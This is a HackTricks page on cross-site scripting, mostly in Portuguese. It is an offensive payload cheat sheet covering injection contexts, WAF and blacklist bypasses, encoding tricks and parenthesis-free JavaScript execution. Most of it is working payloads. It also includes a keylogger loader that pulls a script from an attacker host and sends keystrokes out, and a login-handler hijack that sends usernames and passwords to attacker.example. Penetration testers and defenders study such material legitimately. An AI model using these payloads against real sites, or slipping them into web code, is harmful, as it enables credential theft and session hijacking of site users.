%.*s
XSS (Cross Site Scripting)
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Metodologia
- Verifique se algum valor que você controla (parameters, path, headers?, cookies?) está sendo refletido no HTML ou usado por código JS.
- Encontre o contexto onde ele é refletido/usado.
- Se refletido
- Verifique quais símbolos você pode usar e, dependendo disso, prepare o payload:
- Em raw HTML:
- Você pode criar novas tags HTML?
- Você pode usar events ou attributes que suportem o protocolo
javascript:? - Você pode burlar proteções?
- O conteúdo HTML está sendo interpretado por algum engine client side JS (AngularJS, VueJS, Mavo…)? Nesse caso você pode abusar de um Client Side Template Injection.
- Se você não pode criar tags HTML que executem código JS, poderia abusar de um Dangling Markup - HTML scriptless injection?
- Dentro de uma tag HTML:
- Você pode escapar para o contexto raw HTML?
- Você pode criar novos events/attributes para executar código JS?
- O attribute onde você está preso suporta execução JS?
- Você pode burlar proteções?
- Dentro de JavaScript code:
- Você pode escapar a tag
<script>? - Você pode escapar a string e executar outro código JS?
- Sua entrada está em template literals ``?
- Você pode burlar proteções?
- Javascript function sendo executada
- Você pode indicar o nome da função a ser executada. ex.:
?callback=alert(1) - Se usado:
- Você poderia explorar um DOM XSS, preste atenção em como sua entrada é controlada e se sua entrada controlada é usada por algum sink.
Quando estiver trabalhando em um XSS complexo pode ser útil conhecer:
Reflected values
Para explorar com sucesso um XSS a primeira coisa que você precisa encontrar é um valor controlado por você que está sendo refletido na página web.
- Intermediately reflected: Se você descobrir que o valor de um parameter ou mesmo do path está sendo refletido na página web, você pode explorar um Reflected XSS.
- Stored and reflected: Se descobrir que um valor controlado por você é salvo no servidor e é refletido toda vez que uma página é acessada, você pode explorar um Stored XSS.
- Accessed via JS: Se descobrir que um valor controlado por você está sendo acessado usando JS, você pode explorar um DOM XSS.
Contextos
Ao tentar explorar um XSS a primeira coisa que você precisa saber é onde sua entrada está sendo refletida. Dependendo do contexto, você poderá executar código JS arbitrário de diferentes maneiras.
Raw HTML
Se sua entrada é refletida no HTML bruto da página você precisará abusar de alguma tag HTML para executar código JS: <img , <iframe , <svg , <script … estas são apenas algumas das muitas possíveis tags HTML que você poderia usar.
Além disso, tenha em mente Client Side Template Injection.
Inside HTML tags attribute
Se sua entrada é refletida dentro do valor do atributo de uma tag você pode tentar:
- Escapar do atributo e da tag (então você estará no raw HTML) e criar uma nova tag HTML para abusar:
"><img [...] - Se você consegue escapar do atributo mas não da tag (
>está codificado ou removido), dependendo da tag você pode criar um event que execute código JS:" autofocus onfocus=alert(1) x=" - Se você não consegue escapar do atributo (
"está sendo codificado ou removido), então dependendo de qual atributo seu valor está sendo refletido e se você controla todo o valor ou apenas uma parte você poderá abusar dele. Por exemplo, se você controla um event comoonclick=você poderá fazê-lo executar código arbitrário ao clicar. Outro exemplo interessante é o atributohref, onde você pode usar o protocolojavascript:para executar código arbitrário:href="javascript:alert(1)" - Se sua entrada é refletida dentro de “tags não exploráveis” você pode tentar o truque do
accesskeypara abusar da vuln (você vai precisar de algum tipo de engenharia social para explorar isso):" accesskey="x" onclick="alert(1)" x="
Attribute-only login XSS behind WAFs
Uma página de login SSO corporativa refletia o parameter OAuth service dentro do atributo href de <a id="forgot_btn" ...>. Mesmo que < e > fossem HTML-encoded, aspas duplas não eram, então o atacante pôde fechar o atributo e reutilizar o mesmo elemento para injetar handlers tais como " onfocus="payload" x=".
- Inject the handler: Payloads simples como
onclick="print(1)"foram bloqueados, mas o WAF só inspecionava a primeira instrução JavaScript em atributos inline. Prefixar uma expressão inofensiva entre parênteses, seguida de ponto-e-vírgula, permitiu que o payload real fosse executado:onfocus="(history.length);malicious_code_here". - Auto-trigger it: Browsers focalizam qualquer elemento cujo
idcorresponde ao fragmento, então adicionar#forgot_btnà URL do exploit força a anchor a receber foco no carregamento da página e executa o handler sem exigir um clique. - Keep the inline stub tiny: O alvo já carregava jQuery. O handler só precisava bootstrapar uma requisição via
$.getScript(...)enquanto o keylogger completo vivia no servidor do atacante.
Construindo strings sem aspas
Single quotes foram retornadas URL-encoded e aspas duplas escapadas corrompiam o atributo, então o payload gerava cada string com String.fromCharCode. Uma função auxiliar facilita converter qualquer URL em códigos de char antes de colá-la no atributo:
function toCharCodes(str){
return `const url = String.fromCharCode(${[...str].map(c => c.charCodeAt(0)).join(',')});`
}
console.log(toCharCodes('https://attacker.tld/keylogger.js'))
Um atributo resultante ficou assim:
onfocus="(history.length);const url=String.fromCharCode(104,116,116,112,115,58,47,47,97,116,116,97,99,107,101,114,46,116,108,100,47,107,101,121,108,111,103,103,101,114,46,106,115);$.getScript(url),function(){}"
Por que isso rouba credenciais
O script externo (carregado de um host controlado pelo atacante ou Burp Collaborator) hooked document.onkeypress, buffered keystrokes, e a cada segundo executava new Image().src = collaborator_url + keys. Como o XSS só dispara para usuários não autenticados, a ação sensível é o próprio formulário de login — o atacante keylogs nomes de usuário e senhas mesmo se a vítima nunca clicar em “Login”.
Weird example of Angular executing XSS if you controls a class name:
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
Dentro do código JavaScript
In this case your input is reflected between <script> [...] </script> tags of a HTML page, inside a .js file or inside an attribute using javascript: protocol:
- Se refletido entre
<script> [...] </script>tags, mesmo se sua entrada estiver dentro de qualquer tipo de aspas, você pode tentar injetar</script>e escapar desse contexto. Isso funciona porque o navegador irá primeiro analisar as tags HTML e então o conteúdo, portanto, ele não vai notar que sua tag injetada</script>está dentro do código HTML. - If reflected inside a JS string and the last trick isn’t working you would need to exit the string, execute your code and reconstruct the JS code (if there is any error, it won’t be executed:
'-alert(1)-'';-alert(1)//\';alert(1)//- If reflected inside template literals you can embed JS expressions using
${ ... }syntax:var greetings = `Hello, ${alert(1)}` - Unicode encode funciona para escrever valid javascript code:
alert(1)
alert(1)
alert(1)
Javascript Hoisting
Javascript Hoisting refere-se à oportunidade de declarar funções, variáveis ou classes depois de serem usadas para que você possa abusar de cenários onde um XSS está usando variáveis ou funções não declaradas.
Consulte a página a seguir para mais informações:
Javascript Function
Várias páginas da web têm endpoints que aceitam como parâmetro o nome da função a ser executada. Um exemplo comum no mundo real é algo como: ?callback=callbackFunc.
Uma boa maneira de descobrir se algo fornecido diretamente pelo usuário está sendo tentado a ser executado é modificar o valor do parâmetro (por exemplo para ‘Vulnerable’) e procurar no console por erros como:
.png)
Caso seja vulnerável, você poderia ser capaz de acionar um alert apenas enviando o valor: ?callback=alert(1). No entanto, é muito comum que esses endpoints validem o conteúdo para permitir apenas letras, números, pontos e underscores ([\w\._]).
No entanto, mesmo com essa limitação ainda é possível realizar algumas ações. Isso porque você pode usar esses caracteres válidos para acessar qualquer elemento no DOM:
.png)
Algumas funções úteis para isso:
firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement
Você também pode tentar trigger Javascript functions diretamente: obj.sales.delOrders.
No entanto, geralmente os endpoints que executam a função indicada são endpoints sem muito DOM interessante, outras páginas na mesma origem terão um DOM mais interessante para realizar mais ações.
Portanto, para abusar desta vulnerabilidade em um DOM diferente a exploração Same Origin Method Execution (SOME) foi desenvolvida:
SOME - Same Origin Method Execution
DOM
Há JS code que está usando de forma insegura alguns dados controlados por um atacante como location.href. Um atacante poderia abusar disso para executar código JS arbitrário.
Universal XSS
Esse tipo de XSS pode ser encontrado em qualquer lugar. Eles não dependem apenas da exploração no cliente de uma aplicação web, mas de qualquer contexto. Esses tipos de execução arbitrária de JavaScript podem até ser abusados para obter RCE, ler arquivos arbitrários em clientes e servidores, e mais.
Alguns exemplos:
WAF bypass encoding image
.jpg)
Injetando dentro do HTML bruto
Quando sua entrada é refletida dentro da página HTML ou você pode escapar e injetar código HTML nesse contexto, a primeira coisa que você precisa fazer é verificar se pode abusar de < para criar novas tags: basta tentar reflect esse char e checar se está sendo HTML encoded ou deleted ou se é reflected without changes. Apenas no último caso você poderá explorar este caso.
Para esses casos também keep in mind Client Side Template Injection.
Nota: Um comentário HTML pode ser fechado usando****-->****ou **--!>**
Nesse caso, e se não houver uso de black/whitelisting, você poderia usar payloads como:
<script>
alert(1)
</script>
<img src="x" onerror="alert(1)" />
<svg onload=alert('XSS')>
Mas, se estiver a ser usado black/whitelisting de tags/attributes, você precisará brute-force quais tags pode criar.
Uma vez que você tenha localizado quais tags são permitidas, será necessário brute-force attributes/events dentro das tags válidas encontradas para ver como atacar o contexto.
Tags/Events brute-force
Vá para https://portswigger.net/web-security/cross-site-scripting/cheat-sheet e clique em Copy tags to clipboard. Em seguida, envie todas elas usando Burp intruder e verifique se alguma tag não foi identificada como maliciosa pelo WAF. Depois de descobrir quais tags você pode usar, você pode brute force all the events usando as tags válidas (na mesma página clique em Copy events to clipboard e siga o mesmo procedimento de antes).
Custom tags
Se você não encontrou nenhuma HTML tag válida, você pode tentar create a custom tag e executar código JS com o atributo onfocus. Na XSS request, você precisa terminar a URL com # para fazer a página focus on that object e execute o código:
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
Blacklist Bypasses
Se algum tipo de blacklist estiver sendo usado, você pode tentar contorná-lo com alguns truques bobos:
//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG
//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>
//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09
//Unexpected parent tags
<svg><x><script>alert('1')</x>
//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>
//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //
//Extra open
<<script>alert("XSS");//<</script>
//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">
//Using `` instead of parenthesis
onerror=alert`1`
//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
Length bypass (small XSSs)
[!NOTE] > Mais payloads de tiny XSS para diferentes ambientes podem ser encontrados aqui e aqui.
<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
O último usa 2 caracteres unicode que se expandem para 5: telsr\
Mais desses caracteres podem ser encontrados aqui.\
Para verificar em quais caracteres ele é decomposto veja aqui.
Click XSS - Clickjacking
Se, para explorar a vulnerabilidade, você precisa que o usuário clique em um link ou em um form com dados pré-populados, você pode tentar abuse Clickjacking (se a página for vulnerável).
Impossible - Dangling Markup
Se você acha que é impossível criar uma tag HTML com um atributo para executar código JS, você deve verificar Danglig Markup porque você poderia explorar a vulnerabilidade sem executar JS código.
Injecting inside HTML tag
Inside the tag/escaping from attribute value
Se você está dentro de uma tag HTML, a primeira coisa que você pode tentar é escapar da tag e usar algumas das técnicas mencionadas na previous section para executar código JS.\
Se você não conseguir escapar da tag, você poderia criar novos atributos dentro da tag para tentar executar código JS, por exemplo usando um payload como (note that in this example double quotes are use to escape from the attribute, you won’t need them if your input is reflected directly inside the tag):
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
Eventos de estilo
<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>
#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
Dentro do atributo
Mesmo se você não conseguir escapar do atributo (" está sendo codificado ou removido), dependendo de em qual atributo seu valor está sendo refletido se você controla todo o valor ou apenas uma parte você poderá abusar disso. Por exemplo, se você controlar um evento como onclick= você poderá fazê-lo executar código arbitrário quando for clicado.
Outro exemplo interessante é o atributo href, onde você pode usar o protocolo javascript: para executar código arbitrário: href="javascript:alert(1)"
Bypass inside event using HTML encoding/URL encode
Os HTML encoded characters dentro do valor dos atributos de tags HTML são decodificados em tempo de execução. Portanto algo como o seguinte será válido (o payload está em negrito): <a id="author" href="http://none" onclick="var tracker='http://foo?'-alert(1)-'';">Go Back </a>
Observe que qualquer tipo de HTML encode é válido:
//HTML entities
'-alert(1)-'
//HTML hex without zeros
'-alert(1)-'
//HTML hex with zeros
'-alert(1)-'
//HTML dec without zeros
'-alert(1)-'
//HTML dec with zeros
'-alert(1)-'
<a href="javascript:var a=''-alert(1)-''">a</a>
<a href="javascript:alert(2)">a</a>
<a href="javascript:alert(3)">a</a>
Observe que URL encode também funcionará:
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
Bypass no evento usando Unicode encode
//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
Protocolos especiais dentro do atributo
Nele você pode usar os protocolos javascript: ou data: em alguns lugares para executar código JS arbitrário. Alguns vão exigir interação do usuário, outros não.
javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
java //Note the new line
script:alert(1)
data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
Lugares onde você pode injetar esses protocolos
Em geral o protocolo javascript: pode ser usado em qualquer tag que aceite o atributo href e em a maioria das tags que aceitam o atributo src (mas não <img>)
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>
<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>
//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">
Outros truques de obfuscação
Neste caso, a codificação HTML e o truque de codificação Unicode da seção anterior também são válidos, pois você está dentro de um atributo.
<a href="javascript:var a=''-alert(1)-''">
Além disso, existe outro truque útil para esses casos: Mesmo que sua entrada dentro de javascript:... esteja sendo URL encoded, ela será URL decoded antes de ser executada. Portanto, se você precisar escapar da string usando uma aspas simples e vir que está sendo URL encoded, lembre-se de que isso não importa, ela será interpretada como uma aspas simples durante o tempo de execução.
'-alert(1)-'
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
Observe que, se você tentar usar ambos URLencode + HTMLencode em qualquer ordem para codificar o payload, isso não funcionará, mas você pode misturá-los dentro do payload.
Usando Hex e Octal encode com javascript:
Você pode usar Hex e Octal encode dentro do atributo src de iframe (pelo menos) para declarar tags HTML para executar JS:
//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />
//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
Reverse tab nabbing
<a target="_blank" rel="opener"
Se você conseguir injetar qualquer URL em uma tag arbitrária <a href= que contenha os atributos target="_blank" and rel="opener", verifique a seguinte página para explorar esse comportamento:
Bypass de on Event Handlers
Primeiro verifique esta página (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) para “on” event handlers úteis.
Caso exista alguma blacklist impedindo você de criar esses event handlers, você pode tentar os seguintes bypasses:
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>
//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B
XSS em “tags não exploráveis” (hidden input, link, canonical, meta)
A partir de here agora é possível abusar de hidden inputs com:
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
E em meta tags:
<!-- Injection inside meta attribute-->
<meta
name="apple-mobile-web-app-title"
content=""
Twitter
popover
id="newsletter"
onbeforetoggle="alert(2)" />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
From here: Você pode executar um XSS payload dentro de um atributo hidden, desde que consiga convencer a vítima a pressionar a combinação de teclas. No Firefox em Windows/Linux a combinação de teclas é ALT+SHIFT+X e no OS X é CTRL+ALT+X. Você pode especificar uma combinação de teclas diferente usando uma tecla diferente no atributo accesskey. Aqui está o vetor:
<input type="hidden" accesskey="X" onclick="alert(1)">
O payload XSS será algo como isto: " accesskey="x" onclick="alert(1)" x="
Blacklist Bypasses
Several tricks with using different encoding were exposed already inside this section. Go back to learn where can you use:
- HTML encoding (HTML tags)
- Unicode encoding (can be valid JS code):
\u0061lert(1) - URL encoding
- Hex and Octal encoding
- data encoding
Bypasses for HTML tags and attributes
Read the Blacklist Bypasses of the previous section.
Bypasses for JavaScript code
Read the JavaScript bypass blacklist of the following section.
CSS-Gadgets
Se você encontrou um XSS em uma parte muito pequena do site que requer algum tipo de interação (talvez um pequeno link no rodapé com um elemento onmouseover), você pode tentar modificar o espaço que o elemento ocupa para maximizar as probabilidades de o link ser acionado.
For example, you could add some styling in the element like: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5
But, if the WAF is filtering the style attribute, you can use CSS Styling Gadgets, so if you find, for example
.test {display:block; color: blue; width: 100%}
and
#someid {top: 0; font-family: Tahoma;}
Now you can modify our link and bring it to the form
<a href=“” id=someid class=test onclick=alert() a=“”>
Esse truque foi retirado de https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703
Injetando dentro do código JavaScript
Nesse caso sua entrada será refletida dentro do código JS de um arquivo .js ou entre tags <script>...</script> ou entre eventos HTML que podem executar código JS ou entre atributos que aceitam o protocolo javascript:.
Escapando da tag <script>
Se seu código é inserido dentro de <script> [...] var input = 'reflected data' [...] </script> você pode facilmente escapar fechando a tag <script>:
</script><img src=1 onerror=alert(document.domain)>
Note que, neste exemplo, nem sequer fechamos a aspa simples. Isto porque a análise de HTML é realizada primeiro pelo navegador, o que envolve identificar elementos da página, incluindo blocos de script. A análise do JavaScript para entender e executar os scripts embutidos só é feita depois.
Dentro do código JS
Se <> estão sendo sanitizados você ainda pode escapar a string onde seu input está sendo inserido e executar JS arbitrário. É importante corrigir a sintaxe JS, pois se houver quaisquer erros, o código JS não será executado:
'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//
JS-in-JS string break → inject → repair pattern
Quando a entrada do usuário cai dentro de uma string JavaScript entre aspas (por exemplo, echo do lado servidor em um script inline), você pode terminar a string, injetar código e reparar a sintaxe para manter o parsing válido. Esqueleto genérico:
" // end original string
; // safely terminate the statement
<INJECTION> // attacker-controlled JS
; a = " // repair and resume expected string/statement
Exemplo de padrão de URL quando o parâmetro vulnerável é refletido em uma string JS:
?param=test";<INJECTION>;a="
Isso executa o JS do atacante sem precisar tocar no contexto HTML (JS-in-JS puro). Combine com blacklist bypasses abaixo quando filtros bloquearem palavras-chave.
Template literals ``
Para construir strings, além de aspas simples e duplas, o JS também aceita backticks ``. Isso é conhecido como template literals, pois permitem embutir expressões JS usando a sintaxe ${ ... }.\
Portanto, se você descobrir que sua entrada está sendo refletida dentro de uma JS string que usa backticks, você pode abusar da sintaxe ${ ... } para executar código JS arbitrário:
This can be abused using:
;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop() {
return loop
}
loop``
Execução de code codificado
<script>\u0061lert(1)</script>
<svg><script>alert('1')
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
Payloads entregáveis com eval(atob()) e nuances de escopo
Para manter URLs mais curtas e contornar filtros ingênuos baseados em palavras-chave, você pode codificar sua lógica real em base64 e avaliá-la com eval(atob('...')). Se filtros simples por palavras-chave bloquearem identificadores como alert, eval ou atob, use identificadores escapados em Unicode que compilam de forma idêntica no navegador mas evitam filtros de correspondência de strings:
\u0061\u006C\u0065\u0072\u0074(1) // alert(1)
\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64')) // eval(atob('...'))
Observação importante sobre escopo: const/let declarados dentro de eval() têm escopo de bloco e NÃO criam variáveis globais; não estarão acessíveis para scripts posteriores. Use um elemento <script> injetado dinamicamente para definir hooks globais não reatribuíveis quando necessário (por exemplo, para sequestrar um manipulador de formulário):
var s = document.createElement('script');
s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
document.head.appendChild(s);
Referência: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval
Codificação Unicode para execução JS
alert(1)
alert(1)
alert(1)
Técnicas de JavaScript para bypass de blacklists
Strings
"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))
Escapes especiais
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
// Any other char escaped is just itself
Substituições de espaços dentro do código JS
<TAB>
/**/
JavaScript comments (do JavaScript Comments truque)
//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
JavaScript new lines (de JavaScript new line trick)
//Javascript interpret as new line these chars:
String.fromCharCode(10)
alert("//\nalert(1)") //0x0a
String.fromCharCode(13)
alert("//\ralert(1)") //0x0d
String.fromCharCode(8232)
alert("//\u2028alert(1)") //0xe2 0x80 0xa8
String.fromCharCode(8233)
alert("//\u2029alert(1)") //0xe2 0x80 0xa9
Espaços em branco em JavaScript
log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279
//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert(1)>
Javascript dentro de um comentário
//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send
//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
JavaScript sem parênteses
// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name
// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`
// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`
// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`
//It's possible to construct a function and call it
Function`x${'alert(1337)'}x`
// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead
// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.
// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''
// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}
// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
- https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md
- https://portswigger.net/research/javascript-without-parentheses-using-dommatrix
Chamada arbitrária de função (alert)
//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')
//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
